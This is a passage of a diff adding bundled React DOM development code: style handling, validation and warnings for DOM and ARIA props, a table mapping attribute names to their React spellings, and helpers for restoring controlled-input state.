+              if (!isCustomProperty) {
+                warnValidStyle$1(styleName, styles[styleName]);
+              }
+            }
+            var styleValue = dangerousStyleValue(styleName, styles[styleName], isCustomProperty);
+            if (styleName === "float") {
+              styleName = "cssFloat";
+            }
+            if (isCustomProperty) {
+              style2.setProperty(styleName, styleValue);
+            } else {
+              style2[styleName] = styleValue;
+            }
+          }
+        }
+        function isValueEmpty(value) {
+          return value == null || typeof value === "boolean" || value === "";
+        }
+        function expandShorthandMap(styles) {
+          var expanded = {};
+          for (var key in styles) {
+            var longhands = shorthandToLonghand[key] || [key];
+            for (var i2 = 0; i2 < longhands.length; i2++) {
+              expanded[longhands[i2]] = key;
+            }
+          }
+          return expanded;
+        }
+        function validateShorthandPropertyCollisionInDev(styleUpdates, nextStyles) {
+          {
+            if (!nextStyles) {
+              return;
+            }
+            var expandedUpdates = expandShorthandMap(styleUpdates);
+            var expandedStyles = expandShorthandMap(nextStyles);
+            var warnedAbout = {};
+            for (var key in expandedUpdates) {
+              var originalKey = expandedUpdates[key];
+              var correctOriginalKey = expandedStyles[key];
+              if (correctOriginalKey && originalKey !== correctOriginalKey) {
+                var warningKey = originalKey + "," + correctOriginalKey;
+                if (warnedAbout[warningKey]) {
+                  continue;
+                }
+                warnedAbout[warningKey] = true;
+                error("%s a style property during rerender (%s) when a conflicting property is set (%s) can lead to styling bugs. To avoid this, don't mix shorthand and non-shorthand properties for the same value; instead, replace the shorthand with separate values.", isValueEmpty(styleUpdates[originalKey]) ? "Removing" : "Updating", originalKey, correctOriginalKey);
+              }
+            }
+          }
+        }
+        var omittedCloseTags = {
+          area: true,
+          base: true,
+          br: true,
+          col: true,
+          embed: true,
+          hr: true,
+          img: true,
+          input: true,
+          keygen: true,
+          link: true,
+          meta: true,
+          param: true,
+          source: true,
+          track: true,
+          wbr: true
+        };
+        var voidElementTags = assign({
+          menuitem: true
+        }, omittedCloseTags);
+        var HTML = "__html";
+        function assertValidProps(tag, props) {
+          if (!props) {
+            return;
+          }
+          if (voidElementTags[tag]) {
+            if (props.children != null || props.dangerouslySetInnerHTML != null) {
+              throw new Error(tag + " is a void element tag and must neither have `children` nor use `dangerouslySetInnerHTML`.");
+            }
+          }
+          if (props.dangerouslySetInnerHTML != null) {
+            if (props.children != null) {
+              throw new Error("Can only set one of `children` or `props.dangerouslySetInnerHTML`.");
+            }
+            if (typeof props.dangerouslySetInnerHTML !== "object" || !(HTML in props.dangerouslySetInnerHTML)) {
+              throw new Error("`props.dangerouslySetInnerHTML` must be in the form `{__html: ...}`. Please visit https://reactjs.org/link/dangerously-set-inner-html for more information.");
+            }
+          }
+          {
+            if (!props.suppressContentEditableWarning && props.contentEditable && props.children != null) {
+              error("A component is `contentEditable` and contains `children` managed by React. It is now your responsibility to guarantee that none of those nodes are unexpectedly modified or duplicated. This is probably not intentional.");
+            }
+          }
+          if (props.style != null && typeof props.style !== "object") {
+            throw new Error("The `style` prop expects a mapping from style properties to values, not a string. For example, style={{marginRight: spacing + 'em'}} when using JSX.");
+          }
+        }
+        function isCustomComponent(tagName, props) {
+          if (tagName.indexOf("-") === -1) {
+            return typeof props.is === "string";
+          }
+          switch (tagName) {
+            case "annotation-xml":
+            case "color-profile":
+            case "font-face":
+            case "font-face-src":
+            case "font-face-uri":
+            case "font-face-format":
+            case "font-face-name":
+            case "missing-glyph":
+              return false;
+            default:
+              return true;
+          }
+        }
+        var possibleStandardNames = {
+          accept: "accept",
+          acceptcharset: "acceptCharset",
+          "accept-charset": "acceptCharset",
+          accesskey: "accessKey",
+          action: "action",
+          allowfullscreen: "allowFullScreen",
+          alt: "alt",
+          as: "as",
+          async: "async",
+          autocapitalize: "autoCapitalize",
+          autocomplete: "autoComplete",
+          autocorrect: "autoCorrect",
+          autofocus: "autoFocus",
+          autoplay: "autoPlay",
+          autosave: "autoSave",
+          capture: "capture",
+          cellpadding: "cellPadding",
+          cellspacing: "cellSpacing",
+          challenge: "challenge",
+          charset: "charSet",
+          checked: "checked",
+          children: "children",
+          cite: "cite",
+          class: "className",
+          classid: "classID",
+          classname: "className",
+          cols: "cols",
+          colspan: "colSpan",
+          content: "content",
+          contenteditable: "contentEditable",
+          contextmenu: "contextMenu",
+          controls: "controls",
+          controlslist: "controlsList",
+          coords: "coords",
+          crossorigin: "crossOrigin",
+          dangerouslysetinnerhtml: "dangerouslySetInnerHTML",
+          data: "data",
+          datetime: "dateTime",
+          default: "default",
+          defaultchecked: "defaultChecked",
+          defaultvalue: "defaultValue",
+          defer: "defer",
+          dir: "dir",
+          disabled: "disabled",
+          disablepictureinpicture: "disablePictureInPicture",
+          disableremoteplayback: "disableRemotePlayback",
+          download: "download",
+          draggable: "draggable",
+          enctype: "encType",
+          enterkeyhint: "enterKeyHint",
+          for: "htmlFor",
+          form: "form",
+          formmethod: "formMethod",
+          formaction: "formAction",
+          formenctype: "formEncType",
+          formnovalidate: "formNoValidate",
+          formtarget: "formTarget",
+          frameborder: "frameBorder",
+          headers: "headers",
+          height: "height",
+          hidden: "hidden",
+          high: "high",
+          href: "href",
+          hreflang: "hrefLang",
+          htmlfor: "htmlFor",
+          httpequiv: "httpEquiv",
+          "http-equiv": "httpEquiv",
+          icon: "icon",
+          id: "id",
+          imagesizes: "imageSizes",
+          imagesrcset: "imageSrcSet",
+          innerhtml: "innerHTML",
+          inputmode: "inputMode",
+          integrity: "integrity",
+          is: "is",
+          itemid: "itemID",
+          itemprop: "itemProp",
+          itemref: "itemRef",
+          itemscope: "itemScope",
+          itemtype: "itemType",
+          keyparams: "keyParams",
+          keytype: "keyType",
+          kind: "kind",
+          label: "label",
+          lang: "lang",
+          list: "list",
+          loop: "loop",
+          low: "low",
+          manifest: "manifest",
+          marginwidth: "marginWidth",
+          marginheight: "marginHeight",
+          max: "max",
+          maxlength: "maxLength",
+          media: "media",
+          mediagroup: "mediaGroup",
+          method: "method",
+          min: "min",
+          minlength: "minLength",
+          multiple: "multiple",
+          muted: "muted",
+          name: "name",
+          nomodule: "noModule",
+          nonce: "nonce",
+          novalidate: "noValidate",
+          open: "open",
+          optimum: "optimum",
+          pattern: "pattern",
+          placeholder: "placeholder",
+          playsinline: "playsInline",
+          poster: "poster",
+          preload: "preload",
+          profile: "profile",
+          radiogroup: "radioGroup",
+          readonly: "readOnly",
+          referrerpolicy: "referrerPolicy",
+          rel: "rel",
+          required: "required",
+          reversed: "reversed",
+          role: "role",
+          rows: "rows",
+          rowspan: "rowSpan",
+          sandbox: "sandbox",
+          scope: "scope",
+          scoped: "scoped",
+          scrolling: "scrolling",
+          seamless: "seamless",
+          selected: "selected",
+          shape: "shape",
+          size: "size",
+          sizes: "sizes",
+          span: "span",
+          spellcheck: "spellCheck",
+          src: "src",
+          srcdoc: "srcDoc",
+          srclang: "srcLang",
+          srcset: "srcSet",
+          start: "start",
+          step: "step",
+          style: "style",
+          summary: "summary",
+          tabindex: "tabIndex",
+          target: "target",
+          title: "title",
+          type: "type",
+          usemap: "useMap",
+          value: "value",
+          width: "width",
+          wmode: "wmode",
+          wrap: "wrap",
+          about: "about",
+          accentheight: "accentHeight",
+          "accent-height": "accentHeight",
+          accumulate: "accumulate",
+          additive: "additive",
+          alignmentbaseline: "alignmentBaseline",
+          "alignment-baseline": "alignmentBaseline",
+          allowreorder: "allowReorder",
+          alphabetic: "alphabetic",
+          amplitude: "amplitude",
+          arabicform: "arabicForm",
+          "arabic-form": "arabicForm",
+          ascent: "ascent",
+          attributename: "attributeName",
+          attributetype: "attributeType",
+          autoreverse: "autoReverse",
+          azimuth: "azimuth",
+          basefrequency: "baseFrequency",
+          baselineshift: "baselineShift",
+          "baseline-shift": "baselineShift",
+          baseprofile: "baseProfile",
+          bbox: "bbox",
+          begin: "begin",
+          bias: "bias",
+          by: "by",
+          calcmode: "calcMode",
+          capheight: "capHeight",
+          "cap-height": "capHeight",
+          clip: "clip",
+          clippath: "clipPath",
+          "clip-path": "clipPath",
+          clippathunits: "clipPathUnits",
+          cliprule: "clipRule",
+          "clip-rule": "clipRule",
+          color: "color",
+          colorinterpolation: "colorInterpolation",
+          "color-interpolation": "colorInterpolation",
+          colorinterpolationfilters: "colorInterpolationFilters",
+          "color-interpolation-filters": "colorInterpolationFilters",
+          colorprofile: "colorProfile",
+          "color-profile": "colorProfile",
+          colorrendering: "colorRendering",
+          "color-rendering": "colorRendering",
+          contentscripttype: "contentScriptType",
+          contentstyletype: "contentStyleType",
+          cursor: "cursor",
+          cx: "cx",
+          cy: "cy",
+          d: "d",
+          datatype: "datatype",
+          decelerate: "decelerate",
+          descent: "descent",
+          diffuseconstant: "diffuseConstant",
+          direction: "direction",
+          display: "display",
+          divisor: "divisor",
+          dominantbaseline: "dominantBaseline",
+          "dominant-baseline": "dominantBaseline",
+          dur: "dur",
+          dx: "dx",
+          dy: "dy",
+          edgemode: "edgeMode",
+          elevation: "elevation",
+          enablebackground: "enableBackground",
+          "enable-background": "enableBackground",
+          end: "end",
+          exponent: "exponent",
+          externalresourcesrequired: "externalResourcesRequired",
+          fill: "fill",
+          fillopacity: "fillOpacity",
+          "fill-opacity": "fillOpacity",
+          fillrule: "fillRule",
+          "fill-rule": "fillRule",
+          filter: "filter",
+          filterres: "filterRes",
+          filterunits: "filterUnits",
+          floodopacity: "floodOpacity",
+          "flood-opacity": "floodOpacity",
+          floodcolor: "floodColor",
+          "flood-color": "floodColor",
+          focusable: "focusable",
+          fontfamily: "fontFamily",
+          "font-family": "fontFamily",
+          fontsize: "fontSize",
+          "font-size": "fontSize",
+          fontsizeadjust: "fontSizeAdjust",
+          "font-size-adjust": "fontSizeAdjust",
+          fontstretch: "fontStretch",
+          "font-stretch": "fontStretch",
+          fontstyle: "fontStyle",
+          "font-style": "fontStyle",
+          fontvariant: "fontVariant",
+          "font-variant": "fontVariant",
+          fontweight: "fontWeight",
+          "font-weight": "fontWeight",
+          format: "format",
+          from: "from",
+          fx: "fx",
+          fy: "fy",
+          g1: "g1",
+          g2: "g2",
+          glyphname: "glyphName",
+          "glyph-name": "glyphName",
+          glyphorientationhorizontal: "glyphOrientationHorizontal",
+          "glyph-orientation-horizontal": "glyphOrientationHorizontal",
+          glyphorientationvertical: "glyphOrientationVertical",
+          "glyph-orientation-vertical": "glyphOrientationVertical",
+          glyphref: "glyphRef",
+          gradienttransform: "gradientTransform",
+          gradientunits: "gradientUnits",
+          hanging: "hanging",
+          horizadvx: "horizAdvX",
+          "horiz-adv-x": "horizAdvX",
+          horizoriginx: "horizOriginX",
+          "horiz-origin-x": "horizOriginX",
+          ideographic: "ideographic",
+          imagerendering: "imageRendering",
+          "image-rendering": "imageRendering",
+          in2: "in2",
+          in: "in",
+          inlist: "inlist",
+          intercept: "intercept",
+          k1: "k1",
+          k2: "k2",
+          k3: "k3",
+          k4: "k4",
+          k: "k",
+          kernelmatrix: "kernelMatrix",
+          kernelunitlength: "kernelUnitLength",
+          kerning: "kerning",
+          keypoints: "keyPoints",
+          keysplines: "keySplines",
+          keytimes: "keyTimes",
+          lengthadjust: "lengthAdjust",
+          letterspacing: "letterSpacing",
+          "letter-spacing": "letterSpacing",
+          lightingcolor: "lightingColor",
+          "lighting-color": "lightingColor",
+          limitingconeangle: "limitingConeAngle",
+          local: "local",
+          markerend: "markerEnd",
+          "marker-end": "markerEnd",
+          markerheight: "markerHeight",
+          markermid: "markerMid",
+          "marker-mid": "markerMid",
+          markerstart: "markerStart",
+          "marker-start": "markerStart",
+          markerunits: "markerUnits",
+          markerwidth: "markerWidth",
+          mask: "mask",
+          maskcontentunits: "maskContentUnits",
+          maskunits: "maskUnits",
+          mathematical: "mathematical",
+          mode: "mode",
+          numoctaves: "numOctaves",
+          offset: "offset",
+          opacity: "opacity",
+          operator: "operator",
+          order: "order",
+          orient: "orient",
+          orientation: "orientation",
+          origin: "origin",
+          overflow: "overflow",
+          overlineposition: "overlinePosition",
+          "overline-position": "overlinePosition",
+          overlinethickness: "overlineThickness",
+          "overline-thickness": "overlineThickness",
+          paintorder: "paintOrder",
+          "paint-order": "paintOrder",
+          panose1: "panose1",
+          "panose-1": "panose1",
+          pathlength: "pathLength",
+          patterncontentunits: "patternContentUnits",
+          patterntransform: "patternTransform",
+          patternunits: "patternUnits",
+          pointerevents: "pointerEvents",
+          "pointer-events": "pointerEvents",
+          points: "points",
+          pointsatx: "pointsAtX",
+          pointsaty: "pointsAtY",
+          pointsatz: "pointsAtZ",
+          prefix: "prefix",
+          preservealpha: "preserveAlpha",
+          preserveaspectratio: "preserveAspectRatio",
+          primitiveunits: "primitiveUnits",
+          property: "property",
+          r: "r",
+          radius: "radius",
+          refx: "refX",
+          refy: "refY",
+          renderingintent: "renderingIntent",
+          "rendering-intent": "renderingIntent",
+          repeatcount: "repeatCount",
+          repeatdur: "repeatDur",
+          requiredextensions: "requiredExtensions",
+          requiredfeatures: "requiredFeatures",
+          resource: "resource",
+          restart: "restart",
+          result: "result",
+          results: "results",
+          rotate: "rotate",
+          rx: "rx",
+          ry: "ry",
+          scale: "scale",
+          security: "security",
+          seed: "seed",
+          shaperendering: "shapeRendering",
+          "shape-rendering": "shapeRendering",
+          slope: "slope",
+          spacing: "spacing",
+          specularconstant: "specularConstant",
+          specularexponent: "specularExponent",
+          speed: "speed",
+          spreadmethod: "spreadMethod",
+          startoffset: "startOffset",
+          stddeviation: "stdDeviation",
+          stemh: "stemh",
+          stemv: "stemv",
+          stitchtiles: "stitchTiles",
+          stopcolor: "stopColor",
+          "stop-color": "stopColor",
+          stopopacity: "stopOpacity",
+          "stop-opacity": "stopOpacity",
+          strikethroughposition: "strikethroughPosition",
+          "strikethrough-position": "strikethroughPosition",
+          strikethroughthickness: "strikethroughThickness",
+          "strikethrough-thickness": "strikethroughThickness",
+          string: "string",
+          stroke: "stroke",
+          strokedasharray: "strokeDasharray",
+          "stroke-dasharray": "strokeDasharray",
+          strokedashoffset: "strokeDashoffset",
+          "stroke-dashoffset": "strokeDashoffset",
+          strokelinecap: "strokeLinecap",
+          "stroke-linecap": "strokeLinecap",
+          strokelinejoin: "strokeLinejoin",
+          "stroke-linejoin": "strokeLinejoin",
+          strokemiterlimit: "strokeMiterlimit",
+          "stroke-miterlimit": "strokeMiterlimit",
+          strokewidth: "strokeWidth",
+          "stroke-width": "strokeWidth",
+          strokeopacity: "strokeOpacity",
+          "stroke-opacity": "strokeOpacity",
+          suppresscontenteditablewarning: "suppressContentEditableWarning",
+          suppresshydrationwarning: "suppressHydrationWarning",
+          surfacescale: "surfaceScale",
+          systemlanguage: "systemLanguage",
+          tablevalues: "tableValues",
+          targetx: "targetX",
+          targety: "targetY",
+          textanchor: "textAnchor",
+          "text-anchor": "textAnchor",
+          textdecoration: "textDecoration",
+          "text-decoration": "textDecoration",
+          textlength: "textLength",
+          textrendering: "textRendering",
+          "text-rendering": "textRendering",
+          to: "to",
+          transform: "transform",
+          typeof: "typeof",
+          u1: "u1",
+          u2: "u2",
+          underlineposition: "underlinePosition",
+          "underline-position": "underlinePosition",
+          underlinethickness: "underlineThickness",
+          "underline-thickness": "underlineThickness",
+          unicode: "unicode",
+          unicodebidi: "unicodeBidi",
+          "unicode-bidi": "unicodeBidi",
+          unicoderange: "unicodeRange",
+          "unicode-range": "unicodeRange",
+          unitsperem: "unitsPerEm",
+          "units-per-em": "unitsPerEm",
+          unselectable: "unselectable",
+          valphabetic: "vAlphabetic",
+          "v-alphabetic": "vAlphabetic",
+          values: "values",
+          vectoreffect: "vectorEffect",
+          "vector-effect": "vectorEffect",
+          version: "version",
+          vertadvy: "vertAdvY",
+          "vert-adv-y": "vertAdvY",
+          vertoriginx: "vertOriginX",
+          "vert-origin-x": "vertOriginX",
+          vertoriginy: "vertOriginY",
+          "vert-origin-y": "vertOriginY",
+          vhanging: "vHanging",
+          "v-hanging": "vHanging",
+          videographic: "vIdeographic",
+          "v-ideographic": "vIdeographic",
+          viewbox: "viewBox",
+          viewtarget: "viewTarget",
+          visibility: "visibility",
+          vmathematical: "vMathematical",
+          "v-mathematical": "vMathematical",
+          vocab: "vocab",
+          widths: "widths",
+          wordspacing: "wordSpacing",
+          "word-spacing": "wordSpacing",
+          writingmode: "writingMode",
+          "writing-mode": "writingMode",
+          x1: "x1",
+          x2: "x2",
+          x: "x",
+          xchannelselector: "xChannelSelector",
+          xheight: "xHeight",
+          "x-height": "xHeight",
+          xlinkactuate: "xlinkActuate",
+          "xlink:actuate": "xlinkActuate",
+          xlinkarcrole: "xlinkArcrole",
+          "xlink:arcrole": "xlinkArcrole",
+          xlinkhref: "xlinkHref",
+          "xlink:href": "xlinkHref",
+          xlinkrole: "xlinkRole",
+          "xlink:role": "xlinkRole",
+          xlinkshow: "xlinkShow",
+          "xlink:show": "xlinkShow",
+          xlinktitle: "xlinkTitle",
+          "xlink:title": "xlinkTitle",
+          xlinktype: "xlinkType",
+          "xlink:type": "xlinkType",
+          xmlbase: "xmlBase",
+          "xml:base": "xmlBase",
+          xmllang: "xmlLang",
+          "xml:lang": "xmlLang",
+          xmlns: "xmlns",
+          "xml:space": "xmlSpace",
+          xmlnsxlink: "xmlnsXlink",
+          "xmlns:xlink": "xmlnsXlink",
+          xmlspace: "xmlSpace",
+          y1: "y1",
+          y2: "y2",
+          y: "y",
+          ychannelselector: "yChannelSelector",
+          z: "z",
+          zoomandpan: "zoomAndPan"
+        };
+        var ariaProperties = {
+          "aria-current": 0,
+          "aria-description": 0,
+          "aria-details": 0,
+          "aria-disabled": 0,
+          "aria-hidden": 0,
+          "aria-invalid": 0,
+          "aria-keyshortcuts": 0,
+          "aria-label": 0,
+          "aria-roledescription": 0,
+          "aria-autocomplete": 0,
+          "aria-checked": 0,
+          "aria-expanded": 0,
+          "aria-haspopup": 0,
+          "aria-level": 0,
+          "aria-modal": 0,
+          "aria-multiline": 0,
+          "aria-multiselectable": 0,
+          "aria-orientation": 0,
+          "aria-placeholder": 0,
+          "aria-pressed": 0,
+          "aria-readonly": 0,
+          "aria-required": 0,
+          "aria-selected": 0,
+          "aria-sort": 0,
+          "aria-valuemax": 0,
+          "aria-valuemin": 0,
+          "aria-valuenow": 0,
+          "aria-valuetext": 0,
+          "aria-atomic": 0,
+          "aria-busy": 0,
+          "aria-live": 0,
+          "aria-relevant": 0,
+          "aria-dropeffect": 0,
+          "aria-grabbed": 0,
+          "aria-activedescendant": 0,
+          "aria-colcount": 0,
+          "aria-colindex": 0,
+          "aria-colspan": 0,
+          "aria-controls": 0,
+          "aria-describedby": 0,
+          "aria-errormessage": 0,
+          "aria-flowto": 0,
+          "aria-labelledby": 0,
+          "aria-owns": 0,
+          "aria-posinset": 0,
+          "aria-rowcount": 0,
+          "aria-rowindex": 0,
+          "aria-rowspan": 0,
+          "aria-setsize": 0
+        };
+        var warnedProperties = {};
+        var rARIA = new RegExp("^(aria)-[" + ATTRIBUTE_NAME_CHAR + "]*$");
+        var rARIACamel = new RegExp("^(aria)[A-Z][" + ATTRIBUTE_NAME_CHAR + "]*$");
+        function validateProperty(tagName, name) {
+          {
+            if (hasOwnProperty.call(warnedProperties, name) && warnedProperties[name]) {
+              return true;
+            }
+            if (rARIACamel.test(name)) {
+              var ariaName = "aria-" + name.slice(4).toLowerCase();
+              var correctName = ariaProperties.hasOwnProperty(ariaName) ? ariaName : null;
+              if (correctName == null) {
+                error("Invalid ARIA attribute `%s`. ARIA attributes follow the pattern aria-* and must be lowercase.", name);
+                warnedProperties[name] = true;
+                return true;
+              }
+              if (name !== correctName) {
+                error("Invalid ARIA attribute `%s`. Did you mean `%s`?", name, correctName);
+                warnedProperties[name] = true;
+                return true;
+              }
+            }
+            if (rARIA.test(name)) {
+              var lowerCasedName = name.toLowerCase();
+              var standardName = ariaProperties.hasOwnProperty(lowerCasedName) ? lowerCasedName : null;
+              if (standardName == null) {
+                warnedProperties[name] = true;
+                return false;
+              }
+              if (name !== standardName) {
+                error("Unknown ARIA attribute `%s`. Did you mean `%s`?", name, standardName);
+                warnedProperties[name] = true;
+                return true;
+              }
+            }
+          }
+          return true;
+        }
+        function warnInvalidARIAProps(type, props) {
+          {
+            var invalidProps = [];
+            for (var key in props) {
+              var isValid = validateProperty(type, key);
+              if (!isValid) {
+                invalidProps.push(key);
+              }
+            }
+            var unknownPropString = invalidProps.map(function(prop) {
+              return "`" + prop + "`";
+            }).join(", ");
+            if (invalidProps.length === 1) {
+              error("Invalid aria prop %s on <%s> tag. For details, see https://reactjs.org/link/invalid-aria-props", unknownPropString, type);
+            } else if (invalidProps.length > 1) {
+              error("Invalid aria props %s on <%s> tag. For details, see https://reactjs.org/link/invalid-aria-props", unknownPropString, type);
+            }
+          }
+        }
+        function validateProperties(type, props) {
+          if (isCustomComponent(type, props)) {
+            return;
+          }
+          warnInvalidARIAProps(type, props);
+        }
+        var didWarnValueNull = false;
+        function validateProperties$1(type, props) {
+          {
+            if (type !== "input" && type !== "textarea" && type !== "select") {
+              return;
+            }
+            if (props != null && props.value === null && !didWarnValueNull) {
+              didWarnValueNull = true;
+              if (type === "select" && props.multiple) {
+                error("`value` prop on `%s` should not be null. Consider using an empty array when `multiple` is set to `true` to clear the component or `undefined` for uncontrolled components.", type);
+              } else {
+                error("`value` prop on `%s` should not be null. Consider using an empty string to clear the component or `undefined` for uncontrolled components.", type);
+              }
+            }
+          }
+        }
+        var validateProperty$1 = function() {
+        };
+        {
+          var warnedProperties$1 = {};
+          var EVENT_NAME_REGEX = /^on./;
+          var INVALID_EVENT_NAME_REGEX = /^on[^A-Z]/;
+          var rARIA$1 = new RegExp("^(aria)-[" + ATTRIBUTE_NAME_CHAR + "]*$");
+          var rARIACamel$1 = new RegExp("^(aria)[A-Z][" + ATTRIBUTE_NAME_CHAR + "]*$");
+          validateProperty$1 = function(tagName, name, value, eventRegistry) {
+            if (hasOwnProperty.call(warnedProperties$1, name) && warnedProperties$1[name]) {
+              return true;
+            }
+            var lowerCasedName = name.toLowerCase();
+            if (lowerCasedName === "onfocusin" || lowerCasedName === "onfocusout") {
+              error("React uses onFocus and onBlur instead of onFocusIn and onFocusOut. All React events are normalized to bubble, so onFocusIn and onFocusOut are not needed/supported by React.");
+              warnedProperties$1[name] = true;
+              return true;
+            }
+            if (eventRegistry != null) {
+              var registrationNameDependencies2 = eventRegistry.registrationNameDependencies, possibleRegistrationNames2 = eventRegistry.possibleRegistrationNames;
+              if (registrationNameDependencies2.hasOwnProperty(name)) {
+                return true;
+              }
+              var registrationName = possibleRegistrationNames2.hasOwnProperty(lowerCasedName) ? possibleRegistrationNames2[lowerCasedName] : null;
+              if (registrationName != null) {
+                error("Invalid event handler property `%s`. Did you mean `%s`?", name, registrationName);
+                warnedProperties$1[name] = true;
+                return true;
+              }
+              if (EVENT_NAME_REGEX.test(name)) {
+                error("Unknown event handler property `%s`. It will be ignored.", name);
+                warnedProperties$1[name] = true;
+                return true;
+              }
+            } else if (EVENT_NAME_REGEX.test(name)) {
+              if (INVALID_EVENT_NAME_REGEX.test(name)) {
+                error("Invalid event handler property `%s`. React events use the camelCase naming convention, for example `onClick`.", name);
+              }
+              warnedProperties$1[name] = true;
+              return true;
+            }
+            if (rARIA$1.test(name) || rARIACamel$1.test(name)) {
+              return true;
+            }
+            if (lowerCasedName === "innerhtml") {
+              error("Directly setting property `innerHTML` is not permitted. For more information, lookup documentation on `dangerouslySetInnerHTML`.");
+              warnedProperties$1[name] = true;
+              return true;
+            }
+            if (lowerCasedName === "aria") {
+              error("The `aria` attribute is reserved for future use in React. Pass individual `aria-` attributes instead.");
+              warnedProperties$1[name] = true;
+              return true;
+            }
+            if (lowerCasedName === "is" && value !== null && value !== void 0 && typeof value !== "string") {
+              error("Received a `%s` for a string attribute `is`. If this is expected, cast the value to a string.", typeof value);
+              warnedProperties$1[name] = true;
+              return true;
+            }
+            if (typeof value === "number" && isNaN(value)) {
+              error("Received NaN for the `%s` attribute. If this is expected, cast the value to a string.", name);
+              warnedProperties$1[name] = true;
+              return true;
+            }
+            var propertyInfo = getPropertyInfo(name);
+            var isReserved = propertyInfo !== null && propertyInfo.type === RESERVED;
+            if (possibleStandardNames.hasOwnProperty(lowerCasedName)) {
+              var standardName = possibleStandardNames[lowerCasedName];
+              if (standardName !== name) {
+                error("Invalid DOM property `%s`. Did you mean `%s`?", name, standardName);
+                warnedProperties$1[name] = true;
+                return true;
+              }
+            } else if (!isReserved && name !== lowerCasedName) {
+              error("React does not recognize the `%s` prop on a DOM element. If you intentionally want it to appear in the DOM as a custom attribute, spell it as lowercase `%s` instead. If you accidentally passed it from a parent component, remove it from the DOM element.", name, lowerCasedName);
+              warnedProperties$1[name] = true;
+              return true;
+            }
+            if (typeof value === "boolean" && shouldRemoveAttributeWithWarning(name, value, propertyInfo, false)) {
+              if (value) {
+                error('Received `%s` for a non-boolean attribute `%s`.\n\nIf you want to write it to the DOM, pass a string instead: %s="%s" or %s={value.toString()}.', value, name, name, value, name);
+              } else {
+                error('Received `%s` for a non-boolean attribute `%s`.\n\nIf you want to write it to the DOM, pass a string instead: %s="%s" or %s={value.toString()}.\n\nIf you used to conditionally omit it with %s={condition && value}, pass %s={condition ? value : undefined} instead.', value, name, name, value, name, name, name);
+              }
+              warnedProperties$1[name] = true;
+              return true;
+            }
+            if (isReserved) {
+              return true;
+            }
+            if (shouldRemoveAttributeWithWarning(name, value, propertyInfo, false)) {
+              warnedProperties$1[name] = true;
+              return false;
+            }
+            if ((value === "false" || value === "true") && propertyInfo !== null && propertyInfo.type === BOOLEAN) {
+              error("Received the string `%s` for the boolean attribute `%s`. %s Did you mean %s={%s}?", value, name, value === "false" ? "The browser will interpret it as a truthy value." : 'Although this works, it will not work as expected if you pass the string "false".', name, value);
+              warnedProperties$1[name] = true;
+              return true;
+            }
+            return true;
+          };
+        }
+        var warnUnknownProperties = function(type, props, eventRegistry) {
+          {
+            var unknownProps = [];
+            for (var key in props) {
+              var isValid = validateProperty$1(type, key, props[key], eventRegistry);
+              if (!isValid) {
+                unknownProps.push(key);
+              }
+            }
+            var unknownPropString = unknownProps.map(function(prop) {
+              return "`" + prop + "`";
+            }).join(", ");
+            if (unknownProps.length === 1) {
+              error("Invalid value for prop %s on <%s> tag. Either remove it from the element, or pass a string or number value to keep it in the DOM. For details, see https://reactjs.org/link/attribute-behavior ", unknownPropString, type);
+            } else if (unknownProps.length > 1) {
+              error("Invalid values for props %s on <%s> tag. Either remove them from the element, or pass a string or number value to keep them in the DOM. For details, see https://reactjs.org/link/attribute-behavior ", unknownPropString, type);
+            }
+          }
+        };
+        function validateProperties$2(type, props, eventRegistry) {
+          if (isCustomComponent(type, props)) {
+            return;
+          }
+          warnUnknownProperties(type, props, eventRegistry);
+        }
+        var IS_EVENT_HANDLE_NON_MANAGED_NODE = 1;
+        var IS_NON_DELEGATED = 1 << 1;
+        var IS_CAPTURE_PHASE = 1 << 2;
+        var SHOULD_NOT_PROCESS_POLYFILL_EVENT_PLUGINS = IS_EVENT_HANDLE_NON_MANAGED_NODE | IS_NON_DELEGATED | IS_CAPTURE_PHASE;
+        var currentReplayingEvent = null;
+        function setReplayingEvent(event) {
+          {
+            if (currentReplayingEvent !== null) {
+              error("Expected currently replaying event to be null. This error is likely caused by a bug in React. Please file an issue.");
+            }
+          }
+          currentReplayingEvent = event;
+        }
+        function resetReplayingEvent() {
+          {
+            if (currentReplayingEvent === null) {
+              error("Expected currently replaying event to not be null. This error is likely caused by a bug in React. Please file an issue.");
+            }
+          }
+          currentReplayingEvent = null;
+        }
+        function isReplayingEvent(event) {
+          return event === currentReplayingEvent;
+        }
+        function getEventTarget(nativeEvent) {
+          var target = nativeEvent.target || nativeEvent.srcElement || window;
+          if (target.correspondingUseElement) {
+            target = target.correspondingUseElement;
+          }
+          return target.nodeType === TEXT_NODE ? target.parentNode : target;
+        }
+        var restoreImpl = null;
+        var restoreTarget = null;
+        var restoreQueue = null;
+        function restoreStateOfTarget(target) {
+          var internalInstance = getInstanceFromNode(target);
+          if (!internalInstance) {
+            return;
+          }
+          if (typeof restoreImpl !== "function") {
+            throw new Error("setRestoreImplementation() needs to be called to handle a target for controlled events. This error is likely caused by a bug in React. Please file an issue.");
+          }
+          var stateNode = internalInstance.stateNode;
+          if (stateNode) {
+            var _props = getFiberCurrentPropsFromNode(stateNode);
+            restoreImpl(internalInstance.stateNode, internalInstance.type, _props);
+          }
+        }
+        function setRestoreImplementation(impl) {
+          restoreImpl = impl;
+        }
+        function enqueueStateRestore(target) {
+          if (restoreTarget) {
+            if (restoreQueue) {
+              restoreQueue.push(target);
+            } else {
+              restoreQueue = [target];
+            }
+          } else {
+            restoreTarget = target;
+          }
+        }
+        function needsStateRestore() {
+          return restoreTarget !== null || restoreQueue !== null;
+        }
+        function restoreStateIfNeeded() {
+          if (!restoreTarget) {
+            return;
+          }
+          var target = restoreTarget;
+          var queuedTargets = restoreQueue;
+          restoreTarget = null;
+          restoreQueue = null;
+          restoreStateOfTarget(target);
+          if (queuedTargets) {
+            for (var i2 = 0; i2 < queuedTargets.length; i2++) {
+              restoreStateOfTarget(queuedTargets[i2]);
+            }
+          }
+        }
+        var batchedUpdatesImpl = function(fn, bookkeeping) {
+          return fn(bookkeeping);
+        };
+        var flushSyncImpl = function() {
+        };
+        var isInsideEventHandler = false;
+        function finishEventHandler() {
+          var controlledComponentsHavePendingUpdates = needsStateRestore();
+          if (controlledComponentsHavePendingUpdates) {
+            flushSyncImpl();
+            restoreStateIfNeeded();
+          }
+        }
+        function batchedUpdates(fn, a2, b2) {
+          if (isInsideEventHandler) {
+            return fn(a2, b2);
+          }
+          isInsideEventHandler = true;
+          try {
+            return batchedUpdatesImpl(fn, a2, b2);
+          } finally {
+            isInsideEventHandler = false;
+            finishEventHandler();
+          }
+        }
